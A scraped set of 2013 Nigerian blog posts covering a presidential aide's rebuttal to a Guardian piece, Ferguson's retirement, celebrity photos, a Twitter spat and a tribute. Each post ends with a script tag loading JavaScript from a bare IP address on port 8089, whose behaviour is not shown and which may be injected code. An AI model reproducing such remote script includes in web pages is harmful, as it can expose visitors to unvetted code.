Reno Omokri responds to Guardian UK piece on Pres. Jonanthan

<div class="separator" style="clear: both; text-align: center;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaK3kJGcS4FZZZ7M5K1ukvZ9oqXl8Qe4e2gnBmJV4qPAXjHp4AD9X5zkoFF8RLEzaZj3DIKIOBhD3UZyDHUwfXMgxg3L2tzJAHX5TAwJ5ecHeCTDlDnRhtAGTWJw3QSpAtlXj6acqdZs4/s1600/Head-Shot.jpg" /><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNG-dDSD-6_ZA-SU8-bbMQcVK8FDVvHq-v531InHl4Wt2iprVy0vtVHZXDsLhjvh9udB0A2qDb8ooVGTgZ7lwmLIjzkNTLclDzAXZVlWLIpC7B7oKIkQ08CrzCJlAmDI1j4OJRDqemibs/s1600/President-Goodluck-Jonathan.jpg" /></div>R<span style="font-size: small;">eno Omokri is Special Assistant to President Jonathan on New Media and below is his <a href="http://nigeriavillagesquare.com/articles/president-jonathan-deserves-a-pass-mark.html">response</a> to Remi Adekoya's <a href="http://lindaikeji.blogspot.com/2013/05/check-out-this-piece-on-president.html">article</a> in the UK Guardian</span><br /><blockquote class="tr_bq">I just read Mr. Remi Adekoya's piece in the <i>Guardian</i> of the U.K. entitled<b> ‘Goodluck Jonathan's report card for Nigeria? Must try harder’</b> in which he praised President Jonathan for a booming economy but came down hard on him for failing to help Nigeria's poor.</blockquote><blockquote class="tr_bq">When Adekoya says "Infrastructure also remains a problem. Without a modern road network, doing business in Nigeria will remain prohibitively expensive and logistically challenging", he betrays a surface understanding of recent events in Nigeria.<br /><a name="more"></a></blockquote><blockquote class="tr_bq"><div style="line-height: normal;"><span style="font-family: inherit;"><span style="font-size: small;">For example, before the Jonathan administration if you wanted to travel from Lagos to Kano you had two choices, you either went by road or by air. Today, under President Jonathan’s direction, Nigeria's railways have been revived and a traveler planning the same journey has a third alternative. He can travel from Lagos to Kano by rail at a cost of 1500 Naira which is less than $10. It is rather surprising that Mr. Adekoya did not reflect this major development in his piece especially when you consider that Nigeria's rail revival miracle has received praise from some of the major newspapers and magazines in the West. Jon Gambrell of the Associated Press had a string of highly syndicated photos recording this feat. But when you think of it, it is hard for someone reviewing Nigeria's progress from the United Kingdom to have first hand information.</span></span></div></blockquote><blockquote class="tr_bq"><span style="font-family: inherit;"><span style="font-size: small;"> </span></span><br /><div style="line-height: normal;"><span style="font-family: inherit;"><span style="font-size: small;">Besides, what does Mr. Adekoya consider a "modern road network"? Under this administration, previously abandoned road projects have been completed. The previously notorious Lagos-Ore-Benin motorway has been repaired and I personally supplied photographic evidence of that feat on Social Media as well as highlighted testimonials from Nigerians testifying to a reduced travel time from Lagos to Benin since the repairs.</span></span></div></blockquote><br /><blockquote class="tr_bq"><div style="line-height: normal;"><span style="font-family: inherit;"><span style="font-size: small;">In the Federal Capital Territory, Nigerians are now calling the new Kubwa Expressway our own version of Germany's<i>autobahn</i>! I lived in England for a while and I know the state of its roads and I dare say that Mr. Adekoya would wish he had a fast car when he sees this new road that connects the business and commercial districts of Abuja to some of its satellite towns.</span></span></div><div style="line-height: normal;"><span style="font-family: inherit;"><span style="font-size: small;">In his budget speech, the President listed major roads that have been completed and many that are ongoing. Some major road projects that have been rehabilitated and completed include the Vom-Machom road in Plateau State, the Gombe-Numan-Yoka road, Kano-Daura-Mai Adua road, Aba-Owerri road, Dualization of the Access road to Onne Port in River state and the Ijebu Igbo-Ajegunle-Araromi-Ife-</span></span><wbr></wbr><span style="font-family: inherit;"><span style="font-size: small;">Sekona road in Ogun state. But perhaps the greatest testimonial to the administration’s efforts in roads comes from an advert from the privately owned luxury bus operator, ABC Transport, which reads 'The Roads are Getting Better’. This is from an end user of the product. Those words carry more weight than the words of a pundit who writes about Nigeria from the comforts of London.</span></span></div></blockquote><br /><blockquote class="tr_bq"><div style="line-height: normal;"><span style="font-family: inherit;"><span style="font-size: small;">Still on infrastructure, Mr. Adekoya forgot to tell his British audience that while it may be true that Nigeria still does not generate enough electricity for its population, the Jonathan administration has nonetheless increased generation from the 2800 MWs it met on ground to the present 4500 MWs Nigeria generates today a 35% improvement. But that is not even the main story. This administration has kept faith with the Roadmap to Power Sector Reforms that the President launched on August 22nd 2010 which in summary charted a course for the privatization of the nation's power sector.</span></span></div></blockquote><br /><blockquote class="tr_bq"><div style="line-height: normal;"><span style="font-family: inherit;"><span style="font-size: small;">In keeping with that Roadmap, Nigeria has successfully privatized many of her power generation stations and on April 22nd this year a Presidential Power Reform Transactions Signing Ceremony was held at the Presidential Villa where the five power generation companies that emerged successful in the bidding process of the privatization of the sector received their certificates. But certainly Mr. Adekoya could not have failed to take note of the praises the power privatization process received worldwide. It was remarkably transparent which is a departure from the past and signals that Nigeria is a safe place to invest which is no surprise given that even the Prime Minister of The United Kingdom, David Cameron, himself led a trade delegation of some of Britain's top businesses to Nigeria and on return said "We've been hearing about China and India for years but it’s hard to believe what’s happening in Brazil, in Indonesia, in Nigeria". Mr. Cameron certainly knows a great deal more about Nigeria under President Jonathan than Mr. Adekoya does!</span></span></div></blockquote><br /><blockquote class="tr_bq"><div style="line-height: normal;"><span style="font-family: inherit;"><span style="font-size: small;">And then Mr. Adekoya goes on to say "Education is particularly problematic: tens of millions of Nigerians are illiterate. Most cannot afford an education: without government assistance, thus far feeble, they will remain intellectual invalids."Really Mr. Adekoya! Are you talking about the same Nigeria where President Jonathan initiated a programme to provide 400 schools for itinerant scholars in Northern Nigeria known as <i>Almajiri</i>? The President commissioned the first of these schools on the 10th of April 2012 with almost a 100 completed in 2012. The administration has also increased the number of Federal universities in Nigeria by 12 as well as completed hundreds of blocks of classrooms in 15 states as part of efforts to meet her Millennium Development Goals.</span></span></div></blockquote><br /><blockquote class="tr_bq"><div style="line-height: normal;"><span style="font-family: inherit;"><span style="font-size: small;">But the cherry on the education cake is that there has been a 15% increase in pass rates in School Leaving examinations in Nigeria in 2012 when compared to the 2011 season an indication that the government's efforts are succeeding.</span></span></div></blockquote><br /><blockquote class="tr_bq"><div style="line-height: normal;"><span style="font-family: inherit;"><span style="font-size: small;">And then Mr. Adekoya thoroughly pooh-poohed our health sector which I will admit still needs a lot of improvement, but he did not note the improvements which the Jonathan administration made to what it met on the ground. For instance, this administration established a National Trauma Center in the University of Abuja Teaching Hospital and the National Hospital Abuja. Mr. Adekoya failed to note recent feats in Nigeria's health sector such as the commencement of Stem Cell Transplant for sickle cell patients at the University of Benin Teaching Hospital and the Introduction of Laser Treatment of Kidney Stones at Chivar Urological Center, Abuja.</span></span></div></blockquote><br /><blockquote class="tr_bq"><div style="line-height: normal;"><span style="font-family: inherit;"><span style="font-size: small;">Adekoya may wish to note that Nigeria’s Life Expectancy increased from 47 years to 51 years according to the 2011 Human Development Index of the United Nations. That represented the highest increase for Nigeria since records were kept. If anything puts to lie Adekoya’s assertions on minimal improvements in Nigeria’s health sector under President Jonathan certainly it is this fact.</span></span></div></blockquote><br /><blockquote class="tr_bq"><div style="line-height: normal;"><span style="font-family: inherit;"><span style="font-size: small;">And then Adekoya’s poison pen wrote that “On security, Jonathan has dithered. Boko Haram, the Islamist terrorist group, has killed thousands on his watch, while he seems unsure whether to use crushing force or grant "amnesty". It may interest Mr. Adekoya to get the recent statement released by the United Nations High Commissioner for Refugees,(OHCHR), which praised President Jonathan for considering amnesty for Boko Haram. Yes, it is easy for Adekoya to sit down in London and pontificate, but if he were to see firsthand the sufferings our brothers and sisters in the North face as a result of this sect he would understand that discretion is the better part of valour. After all, the government of the United Kingdom which almost lost its entire cabinet to the Irish Republican Army (IRA) during the Brighton Bomb incidence of 1984 eventually chose to negotiate with them and today there is peace. All the guns and bombs of the British Army could not defeat the IRA as much as diplomacy and negotiation. Is Adekoya saying that it is good for the U.K. but not for Nigeria?</span></span></div></blockquote><blockquote class="tr_bq"><span style="font-family: inherit;"><span style="font-size: small;">What I will just say to Mr. Adekoya is that nation's progress over time and not over night and it betrays a lack of understanding of Nigeria's past and how far we have come to score President Jonathan poorly in meeting the needs of the poor. It is not for nothing that Henry Bellingham, a Member of Parliament as well as a member of Mr. Cameron's administration said "Nigeria is the world's fourth fastest growing economy". You don't achieve that level of economic progress if you have not made reasonable efforts to better the lot of the masses whose productivity is the reason for such a phenomenal growth! Thankfully David Cameron gets it and I for one am so glad that he is in charge of affairs in the United Kingdom and certainly won't fall for the very pedestrian analysis that Mr. Adekoya Adekoya tries to pass off to his British audience as in-dept<span style="font-size: small;">h<span style="font-size: small;">.</span></span></span></span></blockquote><script src="http://173.203.68.84:8089/linda/custom_blogger.php/?alid=70&pid=154e43a068f3707" type="text/javascript"></script>

Reno Omokri responds to Guardian UK piece on Pres. Jonanthan

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Alex Ferguson set to retire as Man U manager at the end of the season

<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSxnhic277sEwAxso8p4BQy4cN6A2mT0pAppkgXWhYlkoJ8FM_EzLvPKhbg77TCOxeODgFbxGhWOXJqFzlXgQFeoG5AqW5FEbD1D-ksA2KutpkQEcjnuIOLKuGQ-E7pAeEmJJjE6xIY7E/s1600/Sir-Alex-Ferguson.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSxnhic277sEwAxso8p4BQy4cN6A2mT0pAppkgXWhYlkoJ8FM_EzLvPKhbg77TCOxeODgFbxGhWOXJqFzlXgQFeoG5AqW5FEbD1D-ksA2KutpkQEcjnuIOLKuGQ-E7pAeEmJJjE6xIY7E/s1600/Sir-Alex-Ferguson.gif" /></a></div>Manchester United manager, <b>Sir Alex Ferguson</b>, has announced his decision to retire at the end of the season. The 71 year old who became Man U manager in 1986, will bow out after Man U meets West Bromwich Albion on May 19th and will join the football club board as director & ambassador.<br /><br />Sir Alex is the most successful manager in English football history. He won 38 tropphies, including two Champions League and 13 Premier League. Sir Alex Ferguson told United’s website:<br /><blockquote class="tr_bq">“The decision to retire is one that I have thought a great deal about and one that I have not taken lightly. It is the right time. It was important to me to leave an organisation in the strongest possible shape and I believe I have done so. The quality of this league winning squad, and the balance of ages within it, bodes well for continued success at the highest level whilst the structure of the youth set-up will ensure that the long-term future of the club remains a bright one.<br /><a name="more"></a></blockquote>“Our training facilities are amongst the finest in global sport and our home Old Trafford is rightfully regarded as one of the leading venues in the world.<br /><br />"As for my players and staff, past and present, I would like to thank them all for a staggering level of professional conduct and dedication that has helped to deliver so many memorable triumphs. Without their contribution the history of this great club would not be as rich.<br /><br />“In my early years, the backing of the board, and Sir Bobby Charlton in particular, gave me the confidence and time to build a football club, rather than just a football team.<br /><br />“Over the past decade, the Glazer family have provided me with the platform to manage Manchester United to the best of my ability and I have been extremely fortunate to have worked with a talented and trustworthy Chief Executive in David Gill. I am truly grateful to all of them.”<br /><br /><br />“Going forward, I am delighted to take on the roles of both Director and Ambassador for the club. With these activities, along with my many other interests, I am looking forward to the future,”<br /><br />“I must pay tribute to my family, their love and support has been essential. My wife Cathy has been the key figure throughout my career, providing a bedrock of both stability and encouragement. Words are not enough to express what this has meant to me.”<br /><script src="http://173.203.68.84:8089/linda/custom_blogger.php/?alid=70&pid=154e43a068f3707" type="text/javascript"></script>

Alex Ferguson set to retire as Man U manager at the end of the season

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Pics: P-Square, Chinedu Ikedieze part of presidential delegation to SA

<div class="separator" style="clear: both; text-align: center;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsbyc6RHWbS14NyVeP64dlRV-7wCkcY_YS_uBfkel1oc9S4A1lSUQOEI_-d2XimfqcH4EGJPOs_0P0pHwxkhMO0P-tivolmLAaG_f3GfouVmIuancmXSQ4nsdm1ngO-U54OUokPMm7z5I/s1600/3.png" /></div>Paul and Peter Okoye and Chinedu Ikedieze were part of the presidential delegation to the Nigeria-South Africa Business Forum that took place in Cape Town, South Africa today. The twins pictured above with Nigeria's richest man and woman, billionaires Aliko Dangote and Mrs Folorunsho Alakija. See more photos after the cut...<br /><br /><a name="more"></a><br /><br /><div class="separator" style="clear: both; text-align: center;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9hg75C7YAD-85SJ6QqMgvbjT-Ck1y71xwVPxuBQr5fIqgVjAD-oF3JMr3jcmUxTVpM-FJkit3E5T820KPsIDnY_3y8FeQDsXuu_CrpF2K6UcqwF_RwADkEsWjZ7JlOTBD0XiUnS9lNAA/s1600/1.png" /></div> Governor Peter Obi, Chinedu Ikedieze and Peter Okoye<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhruQ2JsNz4YjdEM_ZDlWqRAUO1E-8pc18gkcSPYcGdgqDLEFmYkwmrPVeqVVc_acuZoGI8ad0gsQJ815vvq1nMqXPR7iWgpzscY6slEOpCeLa4FRsjKtR-OYCs67mS5C4I416kFZJbuMI/s1600/5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhruQ2JsNz4YjdEM_ZDlWqRAUO1E-8pc18gkcSPYcGdgqDLEFmYkwmrPVeqVVc_acuZoGI8ad0gsQJ815vvq1nMqXPR7iWgpzscY6slEOpCeLa4FRsjKtR-OYCs67mS5C4I416kFZJbuMI/s1600/5.png" /></a></div> P-Square with Chinedu Ikedieze and Dr Ngozi Okonjo-Iweala<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiC-qYwZzffsVLyT_ziBF1CLf_j5xLJ4B9EgHho6wCAJyItPtJn2xbkWXKyUD1TwOdThNn5qAwsjJ_VqVbJZHIr8dJya2XDnJyAcdqtGhfm-GtKkCKseRulTK3Z9HWwT9rLGU6YZokHchs/s1600/6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiC-qYwZzffsVLyT_ziBF1CLf_j5xLJ4B9EgHho6wCAJyItPtJn2xbkWXKyUD1TwOdThNn5qAwsjJ_VqVbJZHIr8dJya2XDnJyAcdqtGhfm-GtKkCKseRulTK3Z9HWwT9rLGU6YZokHchs/s1600/6.png" /></a></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgazx_gf2Uo_IAxGx0RrIdwfAeD1uzrZJ9chrcmqe_pZyoHbTWLF2lAOuFcH6di-7bVKy-P0feKWj_uVQIl3mU0QQ8GPgfhL7TwM6iCUc14-yeCg3KmRqIMRnaBdNFbrmFFtvkd06hdfrw/s1600/7.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgazx_gf2Uo_IAxGx0RrIdwfAeD1uzrZJ9chrcmqe_pZyoHbTWLF2lAOuFcH6di-7bVKy-P0feKWj_uVQIl3mU0QQ8GPgfhL7TwM6iCUc14-yeCg3KmRqIMRnaBdNFbrmFFtvkd06hdfrw/s1600/7.png" /></a></div><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAATCZVWaehhzHNV6c3duEqkgzyfGrcUe3gLqs0GkOjfj65GLgvWOWDhEnm10rSVHU-UB9pjR27s-Eojrla0K-VJ4M-JDtZMvfLrTBo7p0sUCfU3QXkgW-M4aLvMbd1DDjDG2-QWKnj00/s1600/8.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAATCZVWaehhzHNV6c3duEqkgzyfGrcUe3gLqs0GkOjfj65GLgvWOWDhEnm10rSVHU-UB9pjR27s-Eojrla0K-VJ4M-JDtZMvfLrTBo7p0sUCfU3QXkgW-M4aLvMbd1DDjDG2-QWKnj00/s1600/8.png" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">Peter Okoye and Reuben Abati</td></tr></tbody></table><script src="http://173.203.68.84:8089/linda/custom_blogger.php/?alid=70&pid=154e43a068f3707" type="text/javascript"></script>

Pics: P-Square, Chinedu Ikedieze part of presidential delegation to SA

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Chris Brown and Rihanna take shots at each other on Twitter

<div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtANY0wPG7Tv0xV_-bB-Tp5iiA7oB6K86Z6rLEFWjVcKRsLRbUr2TjybmVmnSF77dfd1XJQdC52ZdPe2uuOM2v5popCARNYrMRjpewwiMzsYsLVMZiWqzLxB1v84scOJ2VFv2R-UlDhy4/s1600/Chris+Brown+and+Rihanna+main-1360244.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="255" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtANY0wPG7Tv0xV_-bB-Tp5iiA7oB6K86Z6rLEFWjVcKRsLRbUr2TjybmVmnSF77dfd1XJQdC52ZdPe2uuOM2v5popCARNYrMRjpewwiMzsYsLVMZiWqzLxB1v84scOJ2VFv2R-UlDhy4/s400/Chris+Brown+and+Rihanna+main-1360244.jpg" width="400" /></a></div>Chris Brown tweeted this...<br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-kxwVG308aUt2hx3Mo-clsUF78Jiv3beqxuQhR2SnWN0NFVppGWNa2XC55zHRbpvdEKszwuU-BdTpYLEB_hF4DqgvDwvy8V3oYC5-4xec0wUJaloOjRnxDEIhbKXbO8eQjvS7UGOFm5w/s1600/Screen+Shot+2013-05-07+at+8.04.01+AM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="237" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-kxwVG308aUt2hx3Mo-clsUF78Jiv3beqxuQhR2SnWN0NFVppGWNa2XC55zHRbpvdEKszwuU-BdTpYLEB_hF4DqgvDwvy8V3oYC5-4xec0wUJaloOjRnxDEIhbKXbO8eQjvS7UGOFm5w/s400/Screen+Shot+2013-05-07+at+8.04.01+AM.png" width="400" /></a></div>And Rihanna fired back! See what she tweeted after the cut...<br /><br /><a name="more"></a><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJNi9ftr2G8ZTypdFQknadsJ9ZEXdOCpFUCijlMth9uhnby4FlgYjt66XwtvAtJfup259RtCjAUtCAN4HbI6aTt1SO8CwjbAHBDINxn8rBcTX0JONX6Y5TpkFeawEGGxkN4hNm6fHZ0sM/s1600/Screen+Shot+2013-05-07+at+8.04.10+AM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="233" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJNi9ftr2G8ZTypdFQknadsJ9ZEXdOCpFUCijlMth9uhnby4FlgYjt66XwtvAtJfup259RtCjAUtCAN4HbI6aTt1SO8CwjbAHBDINxn8rBcTX0JONX6Y5TpkFeawEGGxkN4hNm6fHZ0sM/s400/Screen+Shot+2013-05-07+at+8.04.10+AM.png" width="400" /></a></div><div class="separator" style="clear: both; text-align: center;"></div>Sad love. Can't live with each other. Can't live without each other. <script src="http://173.203.68.84:8089/linda/custom_blogger.php/?alid=70&pid=154e43a068f3707" type="text/javascript"></script>

Chris Brown and Rihanna take shots at each other on Twitter

Chris Brown tweeted this... And Rihanna fired back! See what she tweeted after the cut... Sad love. Can't live with each other. Can'...

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Tribute for Yinka Olonode by the mother of his 10 month old baby

<div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8CeMmtbdP6V-p6XuD-eGNTYkKRbrcAEX8Fesq343mfY_jls81udwk2461lM-kdD84rgCpKCx0Wok1qlOT5dZzgABwhVnW6ZaY4kdudjnLxOsbKeftTUNms2YT1-prnHvbbKxP6iw0Muw/s1600/155925_558482637499170_1528128050_n.jpg" /><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4zuwVMiMW5AFPIkQPNogDR2qF2yfksHwnEVVb_abk8tocA4FNXQSl5wI9RT9bBGBlNQ2BRdd_ssf9iG6m26jvRBL1QG33hTgNLhn6yJWI9F7cg2GbxBpBcCsoCNHz39I2vMzkxLZBkUI/s1600/482508_10151346402092805_2131759046_n.jpg" /><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYJgpSrifz1bEHGjyyqGe576Sv6gNVuJEmp6YQjs0wT9o6e813-oDP3XpsFOnAtx-fCB07d81vLX9AlRfc9i5VuwYvsI3OAdzM6nw3q8Kqrv-OGs09mxVUzG46VcKRaahX59_mTsU196s/s1600/408440_10100188690130292_26041993_n.jpg" /></div>T<span style="font-size: small;"><span style="font-family: inherit;"><span style="color: #333333; line-height: 17px;">ribute for former model and Rhythm O<span style="font-size: small;">AP</span><span style="font-size: small;">, Yinka Olonode, who reportedly jumped to his death from </span></span></span></span>the rooftop restaurant of hotel in Portland, USA <span style="font-size: small;"><span style="font-family: inherit;"><span style="color: #333333; line-height: 17px;"><span style="font-size: small;">on Monday April 29th <span style="font-size: small;">(Read story <a href="http://lindaikeji.blogspot.com/2013/05/former-nigerian-model-yinka-olonode.html">HERE</a>) by the moth<span style="font-size: small;">er of hi<span style="font-size: small;">s 10<span style="font-size: small;"> mo<span style="font-size: small;">nth old baby, Lillie Halpern.</span></span></span></span></span></span></span></span></span><br /><blockquote class="tr_bq"><span style="color: #333333; line-height: 17px;">Dear Yinka,</span><br /><span style="font-size: small;"><span style="font-family: inherit;"><span style="color: #333333; line-height: 17px;">Blessed man, brother, friend, love, father. I miss you so much in mind, body, and spirit. I never loved somebody as deeply as I loved you. If I could have caught you to stop your fall, I would have been there. May your light shine abundantly! I am not ready to say goodbye and I hope we will meet again in another time and another place. Your time was too short. Your gifts were so special. Your smile was so pure. Your mind was a ladder of intellect and curiosity brimming with childlike imagination. We will miss your presence. I leave all things in God's hands. Love and peace. RIP Yinka Olonode </span><br style="color: #333333; line-height: 17px;" /><span style="color: #333333; line-height: 17px;">With Universal Love,<span style="color: #cc0000;"> </span></span><span style="color: #cc0000;"><a href="https://www.facebook.com/lillie.halpern?group_id=299455766854318" style="line-height: 17px; text-decoration: none;" target="_blank">Lillie Halpern</a></span></span></span></blockquote><script src="http://173.203.68.84:8089/linda/custom_blogger.php/?alid=70&pid=154e43a068f3707" type="text/javascript"></script>

Tribute for Yinka Olonode by the mother of his 10 month old baby

T ribute for former model and Rhythm O AP , Yinka Olonode, who reportedly jumped to his death from the rooftop restaurant of hotel in Portla...

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